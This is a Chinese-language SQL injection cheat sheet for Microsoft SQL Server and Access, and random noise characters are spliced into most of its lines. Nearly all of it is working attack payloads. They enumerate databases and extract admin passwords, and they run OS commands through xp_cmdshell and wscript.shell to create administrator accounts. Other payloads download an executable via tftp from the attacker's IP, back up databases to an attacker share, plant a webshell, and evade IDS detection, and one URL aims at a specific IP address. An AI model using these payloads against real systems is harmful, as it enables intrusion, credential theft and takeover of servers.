; p/ T0 x; o# Txp_regaddmultistring & S& x$ d- {! E& B/ m$ b! W+ {
xp_regdeletekey ' y+ i: m, K+ I1 L! R( A) y0 V
xp_regdeletevalue 0 Z5 H! E0 m- h( W; X6 Ixp_regenumkeys - Q, h. N7 p) u% E. _
xp_regenumvalues & | s, \$ f' x- _) E9 wxp_regread 6 l" r, y) I7 E$ \- R! i2 Vxp_regremovemultistring : D7 H7 } | m
xp_regwrite 3 }8 v7 ^8 Z1 p5 T2 \' p- |2 pxp_availablemedia 驱动器相关. ^% f* Z6 O; I6 L. f: C. x; g
xp_dirtree 目录 , E+ t8 a+ e- q1 h2 Z0 zxp_enumdsn ODBC连接' z* `+ S ^" c& b
xp_loginconfig 服务器安全模式信息 ' A; `" N: I* O: Exp_makecab 创建压缩卷) ~( _5 O; s8 _/ S9 i, D
xp_ntsec_enumdomains domain信息 $ d; }" f% W, Y' `xp_terminate_process 终端进程,给出一个PID1 r4 z' [% z0 h8 t- {, V
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例如: " S* t+ {1 H$ W5 R0 r8 ssp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' 3 |8 ~* T: c4 \6 f6 W/ [exec xp_webserver7 @$ n3 B/ }+ E* L, q/ |6 h3 E
sp_dropextendedproc 'xp_webserver' 6 U8 |; {: ^' X! Nbcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar 0 J; J* |. ?. a- t/ v0 ^4 N" `6 T$ q' group by users.id having 1=1- - P! g9 Y( z" {+ B% o' {0 ~) E' group by users.id, users.username, users.password, users.privs having 1=1-2 l2 _) p! T8 ~: M5 \
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )- j* L' \8 H R, _9 x o) \: J! ~# a. X9 s! _
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'- " f1 K' `/ Q5 L) B6 B" q ~union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')- & G; `! ] r9 B& B. ~' w8 Runion select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-. J" W9 O, @7 Q& |3 P! Z
union select TOP 1 login_name FROM logintable-% n" b" z3 Q" | J
union select TOP 1 password FROM logintable where login_name='Rahul'-- . w0 b- B; R7 b5 [, P构造语句:查询是否存在xp_cmdshell % a" g. v2 _! Y2 K' union select @@version,1,1,1--# `0 r G) X4 ^" \0 p6 W7 r* T$ d
and 1=(select @@VERSION) 2 ?/ x9 l+ X; Q1 @and 'sa'=(select System_user)& k. o. J/ q# n1 J o$ s+ q4 e( S7 |0 G
' union select ret,1,1,1 from foo-- 3 D/ O2 V# D" P/ s" q; Z$ c' union select min(username),1,1,1 from users where username > 'a'-% g( q% m) u* L
' union select min(username),1,1,1 from users where username > 'admin'- ( q! t3 I0 K8 e' union select password,1,1,1 from users where username = 'admin'-- + q0 d ~% ]' f7 Oand user_name()='dbo'3 F1 ~$ ~, _) K7 z [: c7 e @
and 0<>(select user_name()-/ L. b- w1 O# S
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'+ L2 w' O, f: g$ u
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') : z ^7 Z) T# m) b6 D2 v;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'5 `! X" k9 r8 q& n& C- c j! V2 M
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1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')# Z" S8 d' p/ r C( X& M
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否 3 d% w5 N$ W n R( H: \0 wand 0<>(select top 1 paths from newtable)-- 暴库大法9 w0 @% F- D& D1 I" s2 x: ?
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)' {7 l9 {) H' }5 G ^
创建一个虚拟目录E盘: 0 B; J* n; v5 v4 l9 o/ }- ?7 w1 Udeclare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'. ?- f9 o, E" I, I0 E
访问属性:(配合写入一个webshell) - G }9 Y: n8 C. ?5 L$ udeclare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse' ; |, G- g8 J5 ]# g 0 `: U1 ]0 Q7 p" q7 sand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 9 D3 y4 Q5 U( R! X依次提交 dbid = 7,8,9.... 得到更多的数据库名5 ~) [! d, q, Z& Q& Q% v: c7 {
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin 1 T6 \( R" I! [8 G+ A1 C' U5 \. }$ u3 P1 a" T+ H
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。$ L7 W6 W' r1 u% l8 c/ b, E
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' * `( Q5 e( y7 b4 u
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id % y. E6 H. n' _/ U8 cand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id 0 X! D. m0 _( band 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in : X7 D! @0 A8 D('id',...)) 来暴出其他的字段. ?; e4 T- I0 G& D5 K* A2 k
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 ) _) }- U/ Q1 J* x依次可以得到密码。。。。。假设存在user_id username ,password 等字段( k6 ?9 w( l G5 L# n* I0 T
: X! X O( w9 q
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 3 J0 v& [6 S3 o( U' DShow.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin + L0 k) k6 I8 W(union语句到处风靡啊,access也好用6 r) I' P$ G9 @) k9 h6 n! O9 @
M- w; q( t3 A) t
暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交 0 d8 ^6 `5 H0 aand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) ' I, B& ]9 B+ ^7 a8 y. \7 `) Y2 |and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 ; Y; \+ V' f* Z) Y/ A8 n
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) + _: _" f: L% ]/ ]; ? C3 Iand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值& o+ L% \$ V5 u% _
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 , A) z) Z- g7 U$ Z& ^8 X4 x % n2 |* Z4 y, ?- G/ k/ V3 i9 Mhttp://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- * U& ]6 |$ l0 \# `+ ~ - v/ }$ J D1 a3 x Ghttp://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 - z5 f5 i, X2 n, H5 P
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test) / n9 s4 R) M9 r: a ; h i0 x. v, M% }http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";-- ( g, I/ T, l. C0 n0 h7 O6 T0 Y, k7 U+ h( _ {5 {2 A$ L" f1 O
得到了web路径d:\xxxx,接下来: : \! ^( ^* j1 `' \8 x# A% e; \/ Phttp://xx.xx.xx.xx/111.asp?id=3400;use ku1;-- ! P% ?5 h' `% @1 Q8 a; m+ Z1 A) khttp://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);-- $ Z& v; D0 Y! P/ E
/ ^; v3 P! _' E$ v0 l6 o传统的存在xp_cmdshell的测试过程:. D% X) h. Y8 u. k; ?! `1 A
;exec master..xp_cmdshell 'dir'9 ~7 {0 Y: Y' y0 a0 l
;exec master.dbo.sp_addlogin hax;-- - G# N/ P @7 W
;exec master.dbo.sp_password null,hax,hax;-- 9 t m( H) [ C0 o3 r* M# `9 `6 F+ d
;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- 5 W: o, M6 c& f7 Z;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 P8 [1 s2 ?3 _9 E! p% m: u
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- I7 Q/ I5 {+ k5 A* l1 _exec master..xp_servicecontrol 'start', 'schedule' : ~; m8 d. K8 I
exec master..xp_servicecontrol 'start', 'server' 7 A0 I1 G6 T# ihttp://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add' * x5 ]+ H5 K K;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'6 \& z* X8 P. r, D3 {
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http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- + `- X7 C- i) R7 `! Y9 `) a" W / a( a6 }: U6 ]9 Mdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' . c4 U9 C+ s: G% S; ideclare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\' $ b r! x! F2 y) Z/ |" a2 V;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' + Z6 w8 B, p$ f) w如果被限制则可以。. Y+ R6 M& q9 \. j! o2 O
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax') L- F5 B" F% S# n1 m# J
传统查询构造:) S' | e& _6 H8 d
select * FROM news where id=... AND topic=... AND ..... : P5 [9 l% b9 T z5 _( r5 `admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'; |7 @( x/ {- h$ y4 W m
select 123;--, X4 |0 r9 J7 L. F) W1 D/ ~
;use master;--, r% O' m& J1 D' r- K; g8 M
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。- O3 z; N. F1 ?( E
'and 1<>(select count(email) from [user]);--9 i8 t4 s! C4 Y, N, ^) m
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--! l- j* h" i* o4 f
说明:- t; M" e6 B- z
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 - M( ^ m, E3 D通过查看ffff的用户资料可得第一个用表叫ad; ~- q# \' Q" W6 U; |
然后根据表名ad得到这个表的ID * \ }) w/ E5 J" Pffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- ! C4 E0 A& z3 a3 C3 a" y" {$ N8 W6 o+ ~
象下面这样就可以得到第二个表的名字了 & v- ?, d, X4 P& s7 dffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--5 L: h# L9 J6 E4 M
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 0 a. C/ T& @% ?) ]8 o' ?5 M. S7 effff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- : a. Q }3 w7 M" |$ _' \9 y/ k$ l 3 n: G1 m1 r- Q; e) O( U2 Uffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--. S# z, n$ X# T, \4 E7 @. {
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exec master..xp_servicecontrol 'start', 'schedule' - g/ ]9 q4 b) W, d/ _- S6 p/ M
exec master..xp_servicecontrol 'start', 'server' $ _3 C2 O# k9 ~$ g5 V) v8 [sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' : H9 f9 r/ O; ~1 a扩展存储就可以通过一般的方法调用: u; r( ?' S1 M6 x: m
exec xp_webserver 5 e+ b( `; Z: [+ d+ c. z! m6 q一旦这个扩展存储执行过,可以这样删除它: $ J( q; B) C- L; Y% i" b" Q
sp_dropextendedproc 'xp_webserver' : u% K, i: q. |% r* K' X" c" k6 j7 W* s9 k
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-; p7 c* m* d$ |% K
2 O, y6 w6 ?1 ~2 Qinsert into users values( 667,123,123,0xffff)- e: e6 V# T1 y3 Q+ L. I8 y$ A% G; t9 Y& g6 O& F! N
insert into users values ( 123, 'admin''--', 'password', 0xffff)- * R& u- V$ L1 g/ N* g/ K+ I1 q4 P- H4 p7 e& l+ o. l; C! Q( ~
;and user>06 n& X/ J: D2 w1 ~
;;and (select count(*) from sysobjects)>0 ) A* D: Q" E9 o/ V( V" ^: M;;and (select count(*) from mysysobjects)>0 //为access数据库 5 R0 J8 f3 Z1 {6 P2 D: C" ?* }1 T: e. a" f, O3 a5 J
-----------------------------------------------------------通常注射的一些介绍: : m( p2 ]6 x% v- T: p" m6 u! W& MA) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:# ?% y* a9 c, r, n; @" s5 z. s
select * from 表名 where 字段=491 A2 x& |& M3 |& W/ ]8 i
注入的参数为ID=49 And [查询条件],即是生成语句: $ B# R; Q. b! Z6 D- U1 Q6 Y/ P, m1 y, Eselect * from 表名 where 字段=49 And [查询条件]* ~8 A( u1 p8 u( a
3 G+ l& e# F2 \2 s% t) c5 g(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下: 6 n; F+ l, v* s- qselect * from 表名 where 字段='连续剧' 5 w% t" m; N5 E# [# d9 n( U9 D) h
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:+ J' R7 D+ c& ?; N* l q! b/ r
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''0 v5 J. C+ i7 V7 U& T H1 p
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: 5 F4 z7 B( i' x( nselect * from 表名 where 字段like '%关键字%' $ p* c- t# d# a7 T' C
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:% O6 ]5 Y% x7 o* z( S: Q# S
select * from 表名 where字段like '%' and [查询条件] and '%'='%'; t. ]$ q/ L# B5 `( p5 L) {4 _9 m
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0) H" Z! O: ]( g; M
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。3 [* c5 D% |- `2 k' n( V# L
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 - u. b+ f/ f/ z6 _" ?( [从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 1 o# [* t* \1 s# g6 X# z+ q$ H) e9 i' Q# y0 P
post.htm内容:主要是方便输入。 3 H5 q$ O2 v* Q9 s. o% S<iframe name=p src=# width=800 height=350 frameborder=0></iframe>. q3 s9 R& V; l- |4 i- x, G
<br>$ a* ?% P' w$ c% w* t( y5 o
<form action=http://test.com/count.asp target=p> ; o- d) k; w! W/ x( p' X% _+ S
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">7 M0 F; p) Z" ?; i+ M5 F8 v c
<input type=submit value=">>>">0 f v, A& v4 f/ }( H; k
<input type=hidden name=fno value="2, 3">; J1 ~3 \$ q* }) i; Y
</form> 1 Z, p: Q4 R, o2 d, ]枚举出他的数据表名:0 z# y! N, z# X" c
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--+ U8 T: v. O" R( k# [6 ?# P- P5 z
这是将第一个表名更新到aaa的字段处。 1 e; r. l) g H8 @读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。 : F& O% J v+ s- T" Gid=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--( I! L/ h9 P& x1 [, j
然后id=1552 and exists(select * from aaa where aaa>5) ; w6 b' c( @6 X' q1 [0 R读出第二个表,^^^^^^一个个的读出,直到没有为止。: _$ n' C5 h9 p4 c3 P( t
读字段是这样: 2 A4 A$ v/ f) \id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- w! |/ l; c# ]$ z$ f0 \然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名& Q7 H8 E: G5 \" L! D/ m7 k/ H+ F
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- # s3 i! U; [5 f: M8 U然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名0 E5 |/ x6 G9 |) O# v
--------------------------------高级技巧:# \0 z' g! [2 L- x' `
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]0 S! V& O; \; `+ C; J
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] ' Y# P6 C1 n3 B# Q* s: pselect top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…) ) E4 p% v! p- b, O9 S4 J通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]% _8 `. z* ^0 U# s. E; j- p
4 c4 h% ]) m* v! ^! n. K
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 1 H. a' X0 p7 gupdate 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件] " w& @9 T6 D: y " G* T4 B! a: \8 f( n/ M绕过IDS的检测[使用变量] {. m2 C$ N( Tdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'$ {* H0 v( n6 I" y3 @) Z
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\' ' @" S6 M- O7 u4 x& n* v; `8 {9 m3 a
1、 开启远程数据库; Y3 d0 w6 t7 ?# w1 W" V" `9 W
基本语法 # ]+ n% t0 |+ \7 ~0 Jselect * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) ; w, F: [( Q; w* Y9 d" v' S. m/ t参数: (1) OLEDB Provider name * V& S" z9 U( R- M5 R. x- H2、 其中连接字符串参数可以是任何和端口用来连接,比如 ! N6 L- t; D+ A5 f1 n; m% [select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'. p, A( O e7 f) v& N0 D$ h